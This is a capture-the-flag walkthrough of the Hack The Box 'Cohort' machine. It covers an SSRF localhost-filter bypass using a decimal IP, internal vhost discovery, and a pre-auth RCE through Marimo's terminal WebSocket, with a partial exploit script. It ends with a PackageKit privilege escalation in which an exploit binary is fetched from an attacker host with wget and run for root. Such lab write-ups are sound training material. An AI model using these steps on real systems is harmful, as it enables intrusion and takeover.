HTB Cohort Writeup | SSRF to Marimo Pre-auth RCE (WS Terminal) to Root via PackageKit LPE (CVE-2026-41651)
Overview
Cohort is a Linux machine on Hack The Box that chains SSRF (with a localhost filter bypass), internal service discovery via an nginx status endpoint, a Marimo notebook pre-auth RCE (CVE-2026-39987) abusing an unauthenticated terminal WebSocket, and finally a PackageKit local privilege escalation (CVE-2026-41651 / Pack2TheRoot) to obtain root.
Recon
Nmap scan
nmap -sC -sV -p- -O -A --min-rate=10000 10.129.23.160
Findings:
-
22/tcpSSH -
80/tcpHTTP (redirects to HTTPS) -
443/tcpHTTPS (vhostcohort.htb, wildcard cert*.cohort.htb)
Add host entry:
echo "10.129.23.160 cohort.htb" | sudo tee -a /etc/hosts
SSRF: Client Insights Portal
Browsing https://cohort.htb reveals an interesting endpoint used for client insights:
/portal.html
The portal allows setting a Source URL which the backend fetches—confirming an SSRF by pointing it to a controlled server:
python3 -m http.server 8000
SSRF Filter Bypass (localhost restriction)
Attempting to access internal/loopback targets is blocked:
For security, internal and loopback addresses are rejected.
A classic bypass is to encode 127.0.0.1 as a decimal IP:
-
127.0.0.1→2130706433
So instead of:
http://127.0.0.1/
Use:
http://2130706433/
Internal Enumeration via /status
Fuzzing didn’t return much, but directory enumeration revealed:
-
/statusreturns403externally
Using SSRF + decimal IP:
http://2130706433/status
This leaks internal routing configuration:
{
"service":"cohort-edge",
"status":"ok",
"generated_by":"nginx",
"upstreams":[
{"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
{"name":"insights-api","host":"cohort.htb","path":"/api/","target":"127.0.0.1:5000"},
{"name":"notebooks","host":"nb-1be3782a8afd3ad5.cohort.htb","target":"127.0.0.1:8888","note":"internal analyst workspace, not for external use"}
]
}
Key Information
-
Internal vhost:
nb-1be3782a8afd3ad5.cohort.htb -
Internal target:
127.0.0.1:8888 - Looks like an internal notebook platform.
Add vhost:
echo "10.129.23.160 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
Foothold: Marimo pre-auth RCE (CVE-2026-39987)
Visiting:
https://nb-1be3782a8afd3ad5.cohort.htb/
Shows a Marimo login requiring an access token.
Researching Marimo reveals a critical issue:
CVE-2026-39987 — Terminal WebSocket Missing Authentication
The terminal WebSocket endpoint accepts connections without auth and spawns a PTY shell.
Exploit idea:
- Connect to the WebSocket endpoint
- Send commands interactively
- Get a shell as the notebook user
Exploit (interactive WS terminal shell)
#!/usr/bin/env python3
import asyncio
import websockets
import ssl
import sys
async def reader(ws):
while True:
try:
msg = await ws.recv()
print(msg, end='', flush=True)
except:
break
Full in pdf.
Run:
python3 exploit.py https://nb-1be3782a8afd3ad5.cohort.htb
Shell:
marimo@cohort:~$
Upgrade TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Grab user flag:
cat user.txt
Privilege Escalation: PackageKit LPE (CVE-2026-41651)
While enumerating local packages and services, PackageKit stood out:
- PackageKit
1.2.8-2ubuntu1.2 - Vulnerable to CVE-2026-41651 (Pack2TheRoot)
- TOCTOU chain in transaction handling allows bypassing authorization → gain root via crafted installs.
Exploitation (CVE-2026-41651)
Transfer exploit (from attacker box):
wget 10.10.14.124/cve-2026-41651
chmod +x cve-2026-41651
./cve-2026-41651
Result:
- Creates a SUID bash and spawns a root shell via effective UID:
uid=1000(marimo) gid=1000(marimo) euid=0(root)
Root flag:
cd /root
cat root.txt
Here’s a cleaner and more polished version:
Full Writeup (PDF)
The complete Hack The Box Cohort walkthrough—including all commands, screenshots, payloads, and explanations—is available below.
Download the PDF: Download the full Cohort writeup
If you have any questions, notice an issue, or have feedback about the writeup, feel free to reach out to me on Discord.